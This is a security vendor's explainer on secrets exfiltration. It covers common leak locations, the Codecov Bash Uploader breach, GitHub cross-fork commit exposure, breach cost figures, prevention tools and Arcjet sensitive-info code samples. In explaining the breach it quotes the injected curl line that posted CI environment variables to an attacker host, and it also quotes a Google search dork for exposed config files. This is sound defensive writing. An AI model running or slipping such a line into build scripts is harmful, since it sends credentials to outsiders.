What is secrets exfiltration?
Secrets exfiltration is the unauthorized removal of credentials, tokens, keys, or other access material from a place you thought was private: a repository, a CI log, a Docker layer, a chat thread, or a deleted GitHub fork. The secret still works until you revoke it. Finding it is the start of incident response, not the end of exposure.
A secret, in this sense, is anything that grants access or identifies an internal resource:
- Credentials: usernames, passwords, API keys
- Tokens: session identifiers, bearer tokens, CI deploy keys
- Certificates and encryption keys
- Internal hosts, IPs, and non-public endpoints that turn a foothold into a map
OWASP lists this as CICD-SEC-6: Insufficient Credential Hygiene. The rest of this page is how that risk shows up in a developer's week, and what you do instead. How you store the value is storing secrets in environment variables. How it leaks through logs is redacting sensitive data from logs. How it shows up in a model prompt is detecting and redacting PII in LLM inputs.
Where do leaked secrets actually live?
They live in every place a deadline made "temporary" look cheap:
- Repositories and artifacts. A key committed once stays in history after you delete the file. Build artifacts and container layers keep whatever the Dockerfile
ENVorCOPYcaptured. - Configuration files. Search operators such as
intitle:"index of" "config.php.txt"still return forgotten dumps. That is Google dorking applied to your own leftovers. - Environment variables. Once an attacker has code execution or a verbose dump,
envis a lateral-movement menu. That weakness is CWE-526. - Third-party dependencies. A hard-coded token in a library, or in a fork you vendor, is public to anyone who reads the tarball.
- API endpoints and webhooks. An IDOR on
/api/v1/user?userid=12that also returnsuserid=13's key is bulk exfiltration with a loop. - Logs and monitors. Debug lines that print the request, the config struct, or the thrown error with its headers will archive the secret for as long as you retain logs.
- Collaboration tools. Confluence, Jira, and Slack are repositories with worse history controls.
What did the Codecov breach show?
On 31 January 2021 Codecov learned that its Bash Uploader had been modified after an attacker extracted a credential from the Docker image build. Docker layers are a reliable hiding place: a secret that existed for one RUN still sits in an earlier layer, and ENV values are visible to anyone who can inspect the image.
The added line was small:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://[IPADDRESS]/upload/v2 || trueEvery CI job that ran the uploader sent its environment, including the secrets that job was allowed to see, to an attacker-controlled host. The customers' repositories were then read with those tokens. The lesson is not "do not use Codecov." It is that a CI helper with access to env is a secrets broker, and a container build that bakes secrets into layers is a broker you publish.
What is a Cross Fork Object Reference?
When you push a secret to Git, deletion of the file does not delete the commit. Anyone with the repo can still check it out. If the repo is public, anyone can. Revocation is the only closure.
Truffle Security described a related GitHub behavior as a Cross Fork Object Reference (CFOR), by analogy with an IDOR. If an attacker knows (or can guess) the SHA-1 of a commit, they can often retrieve that commit's content through a GitHub URL even after a fork or a repository is deleted. Short SHA-1 prefixes are small: four hex characters are 65,536 values. Do not treat "we deleted the repo" or "we deleted the fork" as a purge of every object GitHub still has a hash for. Assume every commit that ever contained a secret is still fetchable by someone who has the hash, and rotate.
What does a leaked secret cost?
IBM's Cost of a Data Breach Report 2025 is the current benchmark. The global average cost of a data breach is $4.44 million, down from $4.88 million in 2024 (a 9% drop, the first decline in five years). The mean time to identify and contain a breach (the lifecycle) is 241 days, a nine-year low and 17 days shorter than the prior year.
Those are the headline figures. Do not cite the 2024 report's $4.81 million stolen-credential average or 229-day identification time as if they were current. In the 2025 study, phishing replaced stolen credentials as the most common initial vector (16% of breaches). Compromised credentials remain expensive: about $4.67 million per breach in that report, with 186 days to identify and 60 days to contain (246 days combined). Healthcare remains the costliest industry at $7.42 million on average.
Secondary effects from the same research family and from adjacent studies still apply: regulatory fines, customers who leave (Cyberint has reported that a majority of surveyed retail customers would consider it), and long-run market-cap loss (Harvard Business Review has estimated mean losses in the billions of dollars of capitalization after a breach). The actionable part for a developer is narrower: a long-lived token in a log line is how those numbers get a ticket number.
How do you keep secrets from leaking?
- Prefer secrets that expire. Just-in-time credentials that die after one job beat a ten-year API key in a
.envfile. - Allowlist who can use them. An IP or workload-identity restriction turns a leaked string into a failed request.
- Do not
git add *. Wildcards pull in env files. Review the index; keep a.gitignoretemplate in the repo. - Ignore local secret files.
.env,credentials.json, and*.pembelong in gitignore, not in a "just this once" commit. - If copyrighted or sensitive content is already on GitHub, use GitHub's removal process. For copies elsewhere, use the host's takedown form. Then rotate. Removal without rotation is theatre.
Which tools actually help?
1Password CLI (and similar vault plugins). Reference the secret by ID in the shell instead of writing it to disk. Rotation in the vault is reflected wherever it is referenced. Access is logged.
Trufflehog. Scan the repo, the history, and the build artifacts before they land in a container registry. Arcjet runs this on artifacts before upload. Pre-commit hooks catch the accidental add. The Chrome extension catches the paste into a ticket. GitHub push protection is the same idea on the server for public repos, free of charge.
A secrets manager you choose should provide encryption in transit and at rest, role-based access, automatic rotation that your app can tolerate, encrypted backups, one place to look, push protection or a pre-receive hook, and an audit trail you can actually read during an incident. Those requirements, not the logo, are the purchase test.
How do you stop a secret hitting an HTTP handler or a model?
Scanning your git history does not scan the chat box. If a user pastes a card number or a key into a support form or an LLM prompt, you need a runtime check before that string is stored, logged, or sent to a provider. Arcjet 1.x sensitiveInfo runs that check in-process so the body is not shipped to a second vendor to be classified:
import arcjet, { sensitiveInfo } from "@arcjet/next";
const aj = arcjet({ key: process.env.ARCJET_KEY!, rules: [ sensitiveInfo({ mode: "LIVE", deny: ["CREDIT_CARD_NUMBER", "EMAIL"], }), ],});
export async function POST(req: Request) { const { message } = (await req.json()) as { message: string }; const decision = await aj.protect(req, { sensitiveInfoValue: message }); if (decision.isDenied()) { return new Response("Please rephrase your message.", { status: 400 }); } return Response.json({ ok: true });}The same rule in Python, on a Flask route. reason_v2.type tells you which rule denied, and the denied entities carry identified_type so you can tell the user what to remove without echoing the value back:
from arcjet import Mode, SensitiveInfoEntityType, arcjet_sync, detect_sensitive_infofrom flask import Flask, jsonify, request
app = Flask(__name__)
aj = arcjet_sync( key=ARCJET_KEY, rules=[ detect_sensitive_info( mode=Mode.LIVE, deny=[ SensitiveInfoEntityType.CREDIT_CARD_NUMBER, SensitiveInfoEntityType.EMAIL, ], ) ],)
@app.post("/support")def support(): message = (request.get_json(silent=True) or {}).get("message", "") decision = aj.protect(request, sensitive_info_value=message)
if decision.is_denied() and decision.reason_v2.type == "SENSITIVE_INFO": found = [entity.identified_type for entity in decision.reason_v2.denied] return jsonify(error="Remove sensitive data", found=found), 400
return jsonify(ok=True)In all three SDKs the analyzer runs locally and the entity list, not the text, is what leaves the process. The bundled detector covers email, phone number, IP address, and credit card number. Names, government IDs, and addresses need an additional backend, and asking for them without one is a configuration error at startup rather than a silent miss.
Keep the deny message generic. Start in dry-run and read a real sample before you fail turns. Pair this with redaction in your own logs so a key that arrives as a field is not archived as a string. For the non-HTTP version of this check, such as scanning a string before it reaches a logger, see the Go Guard example in that guide.
What should you do this week?
- Scan history and artifacts (Trufflehog or equivalent) and rotate anything you find.
- Stop committing secrets. Push protection and a pre-commit hook are cheaper than a takedown.
- Move production values into a manager and fetch them at runtime. Do not leave them in env vars on the box. See storing secrets in environment variables.
- Use short-lived credentials and automatic rotation.
- Treat deleted forks and deleted repos as still holding old objects. Rotate anyway.
- Put a sensitive-info check on any route that accepts free text headed for a log, a ticket, or a model.
The secret you can still use is the one that matters. Everything else is cleanup.
Frequently asked questions
What is secrets exfiltration?
It is the unauthorized removal of credentials, tokens, keys, or other access material from a repository, CI log, container layer, chat thread, or similar store. The secret still works until you revoke it.
What are the IBM 2025 Cost of a Data Breach figures?
The global average cost is $4.44 million, down from $4.88 million in 2024. The mean time to identify and contain a breach is 241 days. Do not cite the 2024 report's $4.81 million stolen-credential average or 229-day identification time as current.
What was the Codecov incident?
In January 2021 an attacker modified Codecov's Bash Uploader after extracting a secret from the Docker image build. The uploader then posted env from customer CI jobs to an attacker host.
Does deleting a GitHub repo remove committed secrets?
No. History, forks, and (per Truffle Security's CFOR research) objects addressable by commit hash can remain. Rotate the secret.
Application security in your code
Protect your application with Arcjet
Get rate limits, bot detection, and attack blocking in your request handlers.